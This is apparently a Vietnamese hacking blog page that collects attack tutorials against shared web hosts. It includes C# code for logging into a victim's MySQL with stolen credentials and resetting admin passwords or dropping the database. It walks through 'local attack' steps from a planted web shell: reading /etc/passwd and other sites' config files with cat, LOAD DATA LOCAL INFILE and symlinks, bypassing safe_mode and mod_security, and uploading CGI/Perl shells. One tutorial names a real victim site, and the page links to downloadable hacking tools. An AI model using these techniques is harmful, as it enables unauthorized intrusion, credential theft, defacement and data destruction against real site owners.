nếu host dùng directadmin admin và koloxo thì vẫn có thể connect đc vào Mysql vẫn có thể update user và pass ( điều nầy thì ko cần nói nhiều)
Nhưng nó dùng cpanel thì sao , cái này mới khốn ( trường hợp không có shell nhé)
_ Giải pháp cho mấy bé đây
+ xác định ip và tìm sẵn link admin ( nếu là vbb khi khỏi có cách upload shell qua data)
+ Máy cài visual 2010 hay bản bao nhiêu thì tùy
+http://dev.mysql.com/downloads/connector/net/1.0.html download bản này về import vào C# , để khai báo thư viện MySql
+ Việc đơn giản còn lại là kết nối với data mà ta đã vô tình hoặc trộm cắp ở đâu thì tùy với câu lệnh kết nối vào Mysql như sau
================================

String connString = "Server = IP host đã xác định bước trên ; Database = data đã trôm được;Port = 3306 ( cổng kết nối của Mysql); User ID = User Mysql;Password";
MySqlConnection conn = new MySqlConnection(connString);
MySqlCommand Command();
Conman = conn.CreateCommand();
Command.CommandText = "Câu Lệnh SQL"; //

ví dụ như
UPDATE `user` SET "password" = "69e53e5ab9536e55d31ff533aefc4fbe'", salt = "p5T" WHERE `userid` = "1"

còn chơi khăm hơn thì

DROP DATABASE `tên data`;

và Nhấn F5 xem thành quả thâu :v

thực chất ra đây cũng chỉ là 1 chút tư duy trong hacking thôi .....Quan trọng là biết cách suy nghĩ

còn đây là video UpShell qua database

Sẽ ra mắt tools connect Mysql và Auto UpLoad Shell for VBB

_ 1 vài video tìm lại
_Video Bypass Chatbox WorldOfHacked =))
http://www.mediafire.com/download/88olep119kiqy1o/bypasschatbox.rar
+ Hack Tiền quán nét
http://www.mediafire.com/download/qglc9r4jt5cnl1u/tmt_cheattime.rar
Ưu điểm có thể gian lận đc nếu biết cách
Nhược điểm : chủ quán biết là chỉ có ăn dép thẳng vào mồm
_Hack Shop Auto V5
http://www.mediafire.com/download/drhi5o3nsc9tblt/hackshop.rar
Chỉ là dùng 1 đoạn java nhỏ để Get Table và colums
_Upload Shell PhpMyadmin
http://www.mediafire.com/download/463c3r7k33f1vzx/upshell.rar
_Local Id Apache
http://www.mediafire.com/download/dtu9zb8u6zkf9gy/local_apache.rar
_Và mấy thằng bợn nhợn chúng nó khai thác web DAV như thế nào
http://www.mediafire.com/download/4b1a1d45o7pk7kw/exploit_server_win_DAV.rar
_Test Local Attack qua FXPFlash
http://www.mediafire.com/download/h3lmylp39so4w95/bypassflasfxp.rar

Xem Thêm

 

1 số cơ bản của local

Ok, giờ giả sử chúng ta đã có 1 con shell trên sv. Chúng ta bắt đầu vào việc nào

Trước tiên chúng ta xem sv này có những site nào.

1 số dịch vụ check Reverse IP free như: http://www.ip-adress.com/reverse_ip/

http://domainsbyip.com

….. còn nhiều nữa ….

I/ Trường hợp dễ nhất, sv chưa config bảo mật gì hết

Chúng ta hãy nhìn hình bên dưới đây:



Chúng ta thấy gì nào:

Safe_Mode: OFF Open_Basedir: NONE Safe_Exec_Dir: /usr/bin Safe_Gid: OFF Safe_Include_Dir: NONE Sql.safe_mode: OFF
PHP version: 5.2.13 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
Disable functions : NONE

Vậy tức là sv này không config gì cả.

Vậy thì chúng ta có thể chạy các lệnh cơ bản như sau:

cat – lệnh để đọc file, cấu trúc cat <đường dẫn file trong sv> (VD: cat /home/user/public_html/includes/config.php)
dir – lệnh này có tác dụng chuyển đường dẫn thực thi, có dạng dir <đường dẫn>
cd – lệnh này có tác dụng chuyển đổi thư mục, có dạng cd

Vậy thì ko có gì khó nữa rồi. Chúng ta bắt đầu chạy lệnh đầu tiên:

cat /etc/passwd -> Bấm execute

(Trong 1 số trường hợp không được, bạn hãy thử: less /etc/passwd)

………

1 danh sách lù mù bắt đầu hiện ra. Ồ, hay ghê. Bắt đầu nhìn kĩ nào

Kéo xuống

Kéo xuống

À à…. bên dưới bắt đầu xuất hiện những dòng dạng như:

user_name_cua_victim :1076:1076:System User for user_name_cua_victim:/home/user_name_cua_victim/:/sbin/nologin

Vậy là xong rồi, bây giờ bạn đã biết user name của victim là gì, suy ngay ra đường dẫn tới nhà của nó. Việc còn lại là đọc file config của victim bằng lệnh:

cat /home/user_name_cua_victim/public_html/config.php

Sau khi có được được thông tin về CSDL của victim rồi, bạn có thể chiếm quyền admin và Deface website của hắn

II/ Trường hợp SV bật Safemode=0ff | Vô hiệu hóa vô số hàm | Không thể chạy các lệnh cơ bản được !

Ây chà, sau khi bạn thấy sv như vậy, ko thể chạy kác lệnh cơ bản này nữa.

Theo mình thì đầu tiên hãy thử vận may với phương pháp: Local viaSQL

Tiến hành thế nào ???

Tuy sv ko cho view file từ site khác nhưng với quyền hạn của con shell, chúng ta vẫn có thể view file của site chứa con shell đó.

Vậy ! Chúng ta hãy tìm tới file config của site (Trong shell có chức năng change Work directory và edit file. Bạn hãy thay đổi đường dẫn phù hợp để đọc được file config) và đăng nhập vào CSDL của site qua con chức năng của con shell. Kéo xuống sẽ có giống như hình bên dưới:



Xong, sau khi chúng ta đã login thành công được vào CSDL. Đầu tiên chúng ta hãy creat 1 Table riêng cho tiện. Cấu trúc để chạy như sau:

create table daica (dc varchar(1024));

(bạn thay đổi “daica” và “dc” cũng đc)

Sau đó chúng ta chạy tiếp lệnh:

load data local infile ‘/etc/passwd’ into table daica

( Có nghĩa là: Tải dữ liệu từ: /etc/passwd vào bảng: daica ) /etc/passwd là gì thì bên trên bạn đã thấy ồi đúng ko, nó có tác dụng liệt kê danh sách user trong server.

Nếu SV cho phép chạy lệnh này. Thì data sẽ được load vào table của chúng ta. Giờ hãy chạy lệnh:

select * from daica

( Có nghĩa là: chọn ra tất cả từ table(bảng) daica )

Ồ !!! Thấy gì nào !!! Nó lại hiện ra giống như lúc chúng ta chạy lệnh cat /etc/passwd

OK ! Giờ chúng ta lại xác định được user rồi. Chúng ta sẽ load dữ liệu từ file cần đọc về table của chúng ta.

Câu lệnh tương tự: ( Theo mình nên creat table mới cho tiện)

load data local infile ‘/home/username/public_html/config.php’ into table daica

Rồi bây giờ chỉ việc view table đó sẽ thấy file thôi.

!!! KẾt thúc !!!

**************************************

Giờ đến trường hợp SV của chúng ta không cho phép thực thi những lệnh trên !!!

Làm thế nào đây. Cách đầu tiên chúng ta nghĩ tới đó là sẽ hạ Safemode xuống để sv trở về dạng 1. Cách làm như thế nào?

Bạn tạo 1 file: php.ini có nội dung như sau:

safe_mode = off

disable_function = none

Sau đó up lên folder của con shell…… và xem kết quả …… Ồ !!! Đúng là nó về dạng 1 thật nếu sv cùi thì sau khi bypass safe mode như vậy, chúng ta lại có thể thực thi những lệnh cơ bản như bình thường.

Nhưng nếu không thì sao !!!

Nếu không, bạn hãy nghĩ ngay đến 1 cách nữa rất hữu hiệu. Đó là: SymLink

Symlink là gì ? Nó viết tắt của symbolic link ! Nó sẽ giống như chúng ta tạo 1 shortcut trên window vậy, giúp chúng ta view đc file. Câu lệnh của nó như sau:

ln -s <đường dẫn tới file cần đọc> <đường dẫnfile được ghi>

Ví dụ: ln-s /home/user/public_html/config.php daica.txt

( Đơn giản đi chỉ là daica.txt -> File này trùng luôn folder với con shell )

Tới đây thì các bạn cũng hiểu rồi chứ ! lại bắt đầu nào:

ln-s /home/user/public_html/config.php daica.txt

http://sitecuavictim.com/duongdanfoldershell/daica.txt

Nếu view được thì thôi ko sao. Nếu nó lại báo lỗi: 403 thì hãy thử:

Upload 1 file .htaccess lên ngang hàng con shell có nội dung:

Options +FollowSymLinks
DirectoryIndex seees.html
Options +Indexes

-> sau đó view lại xem

************************************************** **xong

Vậy tất cả các cách trên đều không được nữa !!! Thì sao !!!

Chà ! Tới đây chúng ta sẽ thử sử dụng 1 source shell khác, đó là shell cgi, perl ( shell có đuôi .cgi .pl )

Đầu tiên hãy upload file shell .cgi hoặc shell.pl lên ( Các bạn có thể lấy shell này từ :


Sau đó chmod 755 cho con shell này

Và chạy nó ……………………

Nếu chạy được !!! thì quá tuyệt rồi. Các bạn có thể dùng các lệnh cơ bản giống như trường hợp 1 -> xong film


Nguồn Theo VHB

Xem Thêm

 

Tut Local Server Cai Modsecurity

Công cụ: shell + cái gì đó.
1
 
Victim : http://ccncmaster.com/index.php
2

Tìm Path trc ná, mình hướng dẫn cho ai chưa biết luôn, cách tìm path đơn giản nhất qua error_log
Trước hết tạo ra 1 error_log cái đã

3
 
Thứ 2 tìm cái error_log đó, sử dụng lệnh đơn giản


tail -n 10000 /usr/local/apache/logs/error_log|grep trymto
Trong đó 10000 là số dòng, cái này tùy biến, /usr/local/apache/logs/error_log --> Đường dẫn đến nơi chứa logs file --> có thể khác (tùy biến nếu nó thay đổi, mặc định là thế), grep trymto lọc ra error với nội dung lúc nãy mình tạo ra.
4
 
SV cài đặt mod_security thì thường nó không cho các lệnh cơ bản để chạy đâu
5
6
406 Not accept table.
 

Vì không thể sử dụng lệnh trực tiếp ta hãy sử dụng nó 1 cách gián tiếp.
tạo 1 file chứa command bên trong nó và lưu với tên gì cũng đc.

7
 
Mình save thành file ku.to
trong đó ln -s (Tạo 1 symlink), /home/thangnq/puclic_html/ --> đường dẫn đến website victim, index.php --> file cần symlink, trym.txt file symlink
sau đó up file ku.to lên sv

8
 
Sau đó chúng ta sử dụng lệnh : sh ku.to
9
 
và thưởng thức kết quả:
10
11

Xem Thêm

 

Copyright © Dương-UG Blog's - Nguyễn Bình Dương